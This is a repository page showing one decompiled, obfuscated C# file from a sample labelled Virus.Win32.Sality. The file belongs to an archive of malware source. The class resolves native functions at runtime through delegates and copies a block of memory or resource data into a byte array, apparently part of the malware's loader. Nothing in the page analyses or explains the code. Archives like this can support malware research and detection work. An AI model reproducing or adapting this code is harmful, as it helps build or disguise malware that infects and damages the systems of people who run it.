MalwareSourceCode/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0005.cs
2022-08-18 06:28:56 -05:00

141 lines
4.4 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
using \u0006;
using \u0007;
using \u0008;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0007
{
internal sealed class \u0005 : \u0001
{
private \u0005.\u0002 \u0001;
private \u0005.\u0001 \u0001;
private \u0005.\u0004 \u0001;
private \u0005.\u0003 \u0001;
[MethodImpl(MethodImplOptions.NoInlining)]
public \u0005()
{
\u0003.\u0003();
// ISSUE: explicit constructor call
base.\u002Ector();
object[] objArray1;
object[] objArray2;
object[] objArray3;
object[] objArray4;
try
{
\u0005.\u0001 = (\u0001) new \u0001();
\u0001 obj1 = \u0005.\u0001;
objArray1 = new object[3]
{
(object) \u0002.\u0003(374),
(object) \u0002.\u0003(394),
(object) typeof (\u0005.\u0002)
};
object[] objArray5 = objArray1;
this.\u0001 = (\u0005.\u0002) obj1.\u0003(objArray5);
\u0001 obj2 = \u0005.\u0001;
objArray2 = new object[3]
{
(object) \u0002.\u0003(424),
(object) \u0002.\u0003(444),
(object) typeof (\u0005.\u0001)
};
object[] objArray6 = objArray2;
this.\u0001 = (\u0005.\u0001) obj2.\u0003(objArray6);
\u0001 obj3 = \u0005.\u0001;
objArray3 = new object[3]
{
(object) \u0002.\u0003(472),
(object) \u0002.\u0003(492),
(object) typeof (\u0005.\u0004)
};
object[] objArray7 = objArray3;
this.\u0001 = (\u0005.\u0004) obj3.\u0003(objArray7);
\u0001 obj4 = \u0005.\u0001;
objArray4 = new object[3]
{
(object) \u0002.\u0003(520),
(object) \u0002.\u0003(540),
(object) typeof (\u0005.\u0003)
};
object[] objArray8 = objArray4;
this.\u0001 = (\u0005.\u0003) obj4.\u0003(objArray8);
}
catch (Exception ex)
{
object[] objArray9 = objArray1;
object[] objArray10 = objArray2;
object[] objArray11 = objArray3;
object[] objArray12 = objArray4;
throw UnhandledException.\u0003(ex, (object) objArray9, (object) objArray10, (object) objArray11, (object) objArray12, (object) this);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
public override object \u0003([In] object[] obj0)
{
IntPtr num1;
IntPtr num2;
IntPtr source;
int length;
byte[] destination;
try
{
destination = new byte[0];
object obj;
try
{
num1 = this.\u0001(IntPtr.Zero, (IntPtr) (int) obj0[0], (IntPtr) 4);
num2 = this.\u0001(IntPtr.Zero, num1);
source = this.\u0001(num2);
length = this.\u0001(IntPtr.Zero, num1);
destination = new byte[length];
Marshal.Copy(source, destination, 0, length);
}
catch
{
obj = (object) destination;
goto label_4;
}
return (object) destination;
label_4:
return obj;
}
catch (Exception ex)
{
byte[] numArray = destination;
// ISSUE: variable of a boxed type
__Boxed<IntPtr> local1 = (ValueType) num1;
// ISSUE: variable of a boxed type
__Boxed<IntPtr> local2 = (ValueType) num2;
// ISSUE: variable of a boxed type
__Boxed<IntPtr> local3 = (ValueType) source;
// ISSUE: variable of a boxed type
__Boxed<int> local4 = (ValueType) length;
object obj1;
object obj2 = obj1;
object[] objArray = obj0;
throw UnhandledException.\u0003(ex, (object) numArray, (object) local1, (object) local2, (object) local3, (object) local4, obj2, (object) this, (object) objArray);
}
}
private delegate IntPtr \u0001(IntPtr _param1, IntPtr _param2);
private delegate IntPtr \u0002(IntPtr _param1, IntPtr _param2, IntPtr _param3);
private delegate int \u0003(IntPtr _param1, IntPtr _param2);
private delegate IntPtr \u0004(IntPtr _param1);
}
}